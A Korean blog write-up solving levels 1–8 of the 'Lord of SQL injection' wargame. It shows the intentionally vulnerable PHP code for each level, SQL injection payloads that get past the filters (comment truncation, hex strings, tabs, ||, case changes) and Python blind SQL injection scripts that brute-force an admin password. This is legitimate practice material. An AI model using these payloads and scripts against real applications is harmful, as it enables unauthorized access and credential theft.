[Lord of SQL injection] 1~8

1. gremlin

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|.|()/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|.|()/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

 

문제 파일이다. 주어진 쿼리는 다음과 같다.

select id from prob_gremlin where id='' and pw=''

 

문제 파일의 if($result['id']) solve("gremlin"); 부분을 보면 쿼리의 결과로 id를 얻어오기만 하면 문제를 해결할 수 있음을 확인할 수 있다.

GET으로 id와 pw를 받아오고 있기에, 주소창의 php 뒤에 ?id=jin’ or 1=1 or id=’를 입력하여 쿼리를 다음과 같이 만들었다.

select id from prob_gremlin where id='jin' or 1=1 or id='' and pw=''

 

쿼리가 위처럼 되면 다른 것은 다 만족하지 않지만 1=1이 true이기에 쿼리가 정상적으로 작동하게 된다.

따라서 $result[’id’]가 null이 아니어서 성공하게 된다.

성공!

 

2. cobolt

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|.|()/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|.|()/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

 

문제 파일이다. 주어진 쿼리는 다음과 같다.

select id from prob_cobolt where id='' and pw=md5('')

 

이번엔 pw에서 md5로 해쉬값을 참조해서 가져오나 보다. 근데 아까와 동일하게 공격할 수 있지 않나?

admin이 아니란다. 코드를 끝까지 안봤다 ㅎㅎ 쿼리의 결과로 id ‘admin’을 받아와야 한다.

사실 url에 ?id=admin을 입력하면 되는데, 뒤의 pw가 문제다. 그렇다면 뒷 부분을 주석처리 하면 되지 않을까?

따라서 ?id=admin’ %23을 입력했다. %23은 #의 url encoding 값으로, #은 sql에서 주석을 뜻하기에 뒤에 있는 친구들을 주석처리 해버린다. (그냥 #을 입력하면 url은 이를 공백으로 받아들이기에 꼭 %23으로 넣어줘야한다.)

select id from prob_cobolt where id='admin' #' and pw=md5('')

 

쿼리는 다음과 같이 바뀌게 된다. where 절에서 id가 admin인 tuple을 찾아서 id 값을 가져온다!

성공!

 

3. goblin

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|.|()/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/'|"|`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>

 

문제 파일이다. 주어진 쿼리는 다음과 같다.

select id from prob_goblin where id='guest' and no=

 

이번엔 id가 guest로 고정되어 있고, no에서만 GET으로 받아오고 있다. 따라서 ?no= 부분을 잘 조작해야 할 것 같다.

먼저 no에 아무값이나 넣어봤다. guest는 no가 1인가보다.

 

id가 admin인 조건을 만족하기 위해 ?no=0 or id=’admin을 입력했다. 그런데 놓친 부분이 있었다. 코드 중간을 보자.

if(preg_match('/'|"|`/i', $_GET[no])) exit("No Quotes ~_~"); 

 

인용 부호를 막아버리고 있다.. 이를 우회하기 위해 문자열을 16진수로 바꿔주었다.

admin을 16진수로 나타내면 0x61646d696e이다. 따라서 url에 ?no=0 or id=0x61646d696e을 입력해주었다.

admin을 url에 그냥 입력하는 대신 hex 값으로 입력해주면 해당 hex 값을 문자열로 인식해주고, 따라서 id=admin인 조건을 완성할 수 있게 되는 것이다.

성공!

4. orc

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|.|()/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>

 

문제 파일이다. 주어진 쿼리는 다음과 같다.

select id from prob_orc where id='admin' and pw=''

 

이번엔 id를 admin으로 고정시켜놓고 pw를 받아오고 있다.

 

근데 문제 코드를 보면 이전 문제들과는 다른 부분이 보인다. 그전까지는 쿼리가 하나였지만, 이번에는 처음에 pw를 받아오고, $_GET[pw]를 addslashes 함수의 인자로 전달하여 이를 다시 pw를 select하는 쿼리에 사용하는 것을 확인할 수 있다.

그리고 DB의 pw와 내가 입력한 pw가 같아야 한다!

 

이 문제를 풀기 위해서는 Blind SQL injection이라는 기법에 대한 이해가 필요해보인다.

위의 블로그를 참고해서 blind SQL injection에 대해 공부했다.

python에서 request 모듈과 sql의 substr 함수를 이용해야 한다.

드림핵에서 설명해주고 있는 substr 함수이다. 우리는 이 함수를 통해 브루트포싱하여 pw를 알아낼 수 있다.

 

그렇다면 우리가 해야되는 일들은 뭐가 있을까? 가장 먼저 pw의 길이를 알아내야 한다. 이때는 length 함수를 이용하면 된다.

import requests

url='https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}

for i in range(10):
    params={'pw':f'' or id= 'admin' and length(pw)={i} #'}

    res=requests.get(url=url,cookies=cookies,params=params)

    if("<br><h2>Hello admin</h2>" in res.text):
        print('length of pw: ',i)

 

pw의 길이를 알아내는 python 코드이다. length 함수를 이용해서 0부터 10까지 검사하고 있다.

그리고 입력이 수행되었다면 hello admin이 출력되기에 출력 여부를 판단하여 pw의 길이를 알아냈다.

길이가 8이다!

 

이제는 substr함수를 이용해서 pw의 값을 하나씩 알아내면 된다.

import requests

url='https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}
'''
for i in range(10):
    params={'pw':f'' or id= 'admin' and length(pw)={i} #'}

    res=requests.get(url=url,cookies=cookies,params=params)

    if("<br><h2>Hello admin</h2>" in res.text):
        print('length of pw: ',i)
'''

flag=''

for i in range(1,9):
    for j in range(33,126):
        params={'pw':f'' or id= 'admin' and substr(pw,{i},1)='{chr(j)}' #'}
        
        res=requests.get(url=url,cookies=cookies,params=params)
        print(params)

        if("<br><h2>Hello admin</h2>" in res.text):
            print(f'pw {i}번째: ',chr(j))
            flag+=chr(j)
            break

print('flag is',flag)

 

pw를 알아내는 코드이다. 아스키코드표를 참고해서 적절히 범위를 잡아주었다. 실행결과는 다음과 같다.

순서대로 query를 보내보면서 pw를 한글자씩 얻어내는 모습이다. 그리고 마지막에 완성된 pw를 출력하고 있다.

이제 이 pw를 가지고 url에 입력해주면..

성공!

5. wolfman

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|.|()/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>

 

문제 코드이다. 주어진 쿼리는 다음과 같다.

select id from prob_orc where id='guest' and pw=''

 

이번엔 쿼리에서 guest로 로그인하고 있다. 그런데 문제를 풀기 위해서는 admin으로 로그인 해야한다. 저번 문제처럼 pw를 검사하고 있지는 않고 그냥 admin으로 로그인하기만 하면 될 것 같다.

 

그런데 뭔가 제약이 생긴 것 같다.

if(preg_match('/prob|_|.|()/i', $_GET[pw])) exit("No Hack ~_~"); 
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 

 

prob, _ , . , () , 공백을 모두 필터링하고 있다. 따라서 이를 우회하면서 admin으로 로그인해야 한다.

 

특히 공백을 필터링하고 있기에, 위의 hex 값들을 이용해서 기존 공백의 기능을 대체할 수 있다.

나는 간단하게 tab을 이용하겠다.

pw='%09or%09id='admin'%23 를 입력하면 %09가 들어간 부분이 기존 공백의 기능을 수행하고 있다고 생각할 수 있고, pw에서 false를 반환하기에 or 뒤의 id=’admin’이 true를 반환, 그리고 %23(#)으로 뒤는 주석처리함으로써 id가 admin인 값을 얻어올 수 있게 된다!

성공!

6. darkelf

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|.|()/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

 

문제 코드이다. 쿼리는 다음과 같다.

select id from prob_darkelf where id='guest' and pw=''

 

이전 문제와 쿼리는 같은 것을 확인할 수 있다.

if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");

 

그런데 이번엔 공백 말고 or, and를 필터링하는 것을 확인할 수 있다!

이럴 때는 or 대신 ||, and 대신 &&를 사용하면 된다.

따라서 입력 pw=’ || id=’admin’ %23 으로 해결된다!

easy~

 

7. orge

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|.|()/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>

 

문제 파일이다. 쿼리는 다음과 같다.

select id from prob_orge where id='guest' and pw=''

 

이전 문제들과 동일하다. or과 and를 필터링하는 부분도 동일하다.

그리고 orc 문제를 풀 때처럼 pw를 알아내야 하는 부분이 보인다! 이전 문제와 orc의 풀이 방법을 적절히 섞으면 될 거 같다!

import requests

url='https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}

for i in range(10):
    params={'pw':f'' || length(pw)={i} #'}

    res=requests.get(url=url,cookies=cookies,params=params)

    if("<br><h2>Hello admin</h2>" in res.text):
        print('length of pw: ',i)

 

먼저 위의 코드를 통해 pw의 길이를 알아냈다.

그 다음 substr 함수를 통해 비밀번호를 하나씩 알아내면 된다.

import requests

url='https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}


flag=''

for i in range(1,9):
    for j in range(33,126):
        params={'pw':f'' || substr(pw,{i},1)='{chr(j)}' #'}
        
        res=requests.get(url=url,cookies=cookies,params=params)
        print(params)

        if("<br><h2>Hello admin</h2>" in res.text):
            print(f'pw {i}번째: ',chr(j))
            flag+=chr(j)
            break

print('flag is',flag)

 

orc 문제 풀 때 사용했던 코드에서 or 부분만 바꿔주면 필터링을 우회하면서 pw를 하나씩 알아낼 수 있다. 실행 결과는 아래와 같다.

?pw=7B751AEC 를 입력하면 된다.

성공!

 

8. troll

<?php  
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/'/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match("/admin/", $_GET[id])) exit("HeHe");
  $query = "select id from prob_troll where id='{$_GET[id]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id'] == 'admin') solve("troll");
  highlight_file(__FILE__);
?>

 

문제 코드

쿼리.

admin으로 로그인해야되는데 admin을 필터링하고 있다.

사실 우회 방법은 상당히 간단하다! 이전 주차 과제에서 http 필터링을 HTTP로 해결했던 것처럼, admin 필터링이 소문자에만 이루어지고 있기에 대문자를 포함시켜주면 된다.

?id=ADMIN 이 답이다.

so easy~~

댓글 달기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다

위로 스크롤